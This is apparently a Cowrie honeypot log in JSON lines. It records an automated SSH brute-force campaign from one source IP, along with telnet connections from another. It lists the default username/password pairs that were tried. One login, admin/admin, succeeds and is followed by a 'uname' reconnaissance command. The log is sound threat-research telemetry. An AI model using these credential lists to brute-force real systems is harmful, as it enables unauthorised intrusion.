{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:04:37.096287Z","src_ip":"45.153.34.114","session":"5676bb7719a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daniel","password":"daniel","message":"login attempt [daniel/daniel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:04:37.450576Z","src_ip":"45.153.34.114","session":"5676bb7719a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:04:38.546921Z","src_ip":"45.153.34.114","session":"5676bb7719a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.393306732177734,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:04:43.751693Z","src_ip":"74.91.213.120","session":"cb2a2982a2fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":35306,"dst_ip":"159.203.135.109","dst_port":22,"session":"f796d3e4b396","protocol":"ssh","message":"New connection: 45.153.34.114:35306 (159.203.135.109:22) [session: f796d3e4b396]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:04:44.960670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:04:44.965079Z","src_ip":"45.153.34.114","session":"f796d3e4b396","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:04:45.053588Z","src_ip":"45.153.34.114","session":"f796d3e4b396","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"liyang","password":"123456","message":"login attempt [liyang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:04:45.311220Z","src_ip":"45.153.34.114","session":"f796d3e4b396","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:04:46.494048Z","src_ip":"45.153.34.114","session":"f796d3e4b396","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":50900,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a787c829c4a","protocol":"ssh","message":"New connection: 45.153.34.114:50900 (159.203.135.109:22) [session: 2a787c829c4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:04:52.839015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:04:52.844955Z","src_ip":"45.153.34.114","session":"2a787c829c4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:04:53.010108Z","src_ip":"45.153.34.114","session":"2a787c829c4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:04:53.300942Z","src_ip":"45.153.34.114","session":"2a787c829c4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:04:54.387626Z","src_ip":"45.153.34.114","session":"2a787c829c4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.533438682556152,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:04:55.712077Z","src_ip":"74.91.213.120","session":"fd217d583956","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":50168,"dst_ip":"159.203.135.109","dst_port":22,"session":"bca9f55033d0","protocol":"ssh","message":"New connection: 45.153.34.114:50168 (159.203.135.109:22) [session: bca9f55033d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:00.801347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:00.806178Z","src_ip":"45.153.34.114","session":"bca9f55033d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:00.901353Z","src_ip":"45.153.34.114","session":"bca9f55033d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:01.324251Z","src_ip":"45.153.34.114","session":"bca9f55033d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:02.412950Z","src_ip":"45.153.34.114","session":"bca9f55033d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":55766,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f589ca0ad63","protocol":"telnet","message":"New connection: 74.91.213.120:55766 (159.203.135.109:23) [session: 3f589ca0ad63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:06.582104Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":39438,"dst_ip":"159.203.135.109","dst_port":23,"session":"c90b3ec8aa4f","protocol":"telnet","message":"New connection: 74.91.213.120:39438 (159.203.135.109:23) [session: c90b3ec8aa4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:08.326493Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":50184,"dst_ip":"159.203.135.109","dst_port":22,"session":"8df212f0450a","protocol":"ssh","message":"New connection: 45.153.34.114:50184 (159.203.135.109:22) [session: 8df212f0450a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:08.963414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:09.013458Z","src_ip":"45.153.34.114","session":"8df212f0450a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:09.121383Z","src_ip":"45.153.34.114","session":"8df212f0450a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hamed","password":"hamed","message":"login attempt [hamed/hamed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:09.388318Z","src_ip":"45.153.34.114","session":"8df212f0450a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:10.481007Z","src_ip":"45.153.34.114","session":"8df212f0450a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":50350,"dst_ip":"159.203.135.109","dst_port":22,"session":"f298534fad16","protocol":"ssh","message":"New connection: 45.153.34.114:50350 (159.203.135.109:22) [session: f298534fad16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:16.999644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:17.013613Z","src_ip":"45.153.34.114","session":"f298534fad16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:17.086258Z","src_ip":"45.153.34.114","session":"f298534fad16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1234","message":"login attempt [root/admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:17.419417Z","src_ip":"45.153.34.114","session":"f298534fad16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:18.513433Z","src_ip":"45.153.34.114","session":"f298534fad16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":53954,"dst_ip":"159.203.135.109","dst_port":22,"session":"23ea3910f5b3","protocol":"ssh","message":"New connection: 45.153.34.114:53954 (159.203.135.109:22) [session: 23ea3910f5b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:25.066615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:25.071639Z","src_ip":"45.153.34.114","session":"23ea3910f5b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:25.265299Z","src_ip":"45.153.34.114","session":"23ea3910f5b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"webuser","message":"login attempt [webuser/webuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:25.524938Z","src_ip":"45.153.34.114","session":"23ea3910f5b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:26.612960Z","src_ip":"45.153.34.114","session":"23ea3910f5b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":35240,"dst_ip":"159.203.135.109","dst_port":22,"session":"c764bf2e4d4d","protocol":"ssh","message":"New connection: 45.153.34.114:35240 (159.203.135.109:22) [session: c764bf2e4d4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:33.128134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:33.133188Z","src_ip":"45.153.34.114","session":"c764bf2e4d4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:33.217935Z","src_ip":"45.153.34.114","session":"c764bf2e4d4d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:33.476130Z","src_ip":"45.153.34.114","session":"c764bf2e4d4d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:33.708081Z","src_ip":"45.153.34.114","session":"c764bf2e4d4d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:33.711564Z","src_ip":"45.153.34.114","session":"c764bf2e4d4d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:33.801009Z","src_ip":"45.153.34.114","session":"c764bf2e4d4d","protocol":"ssh"}
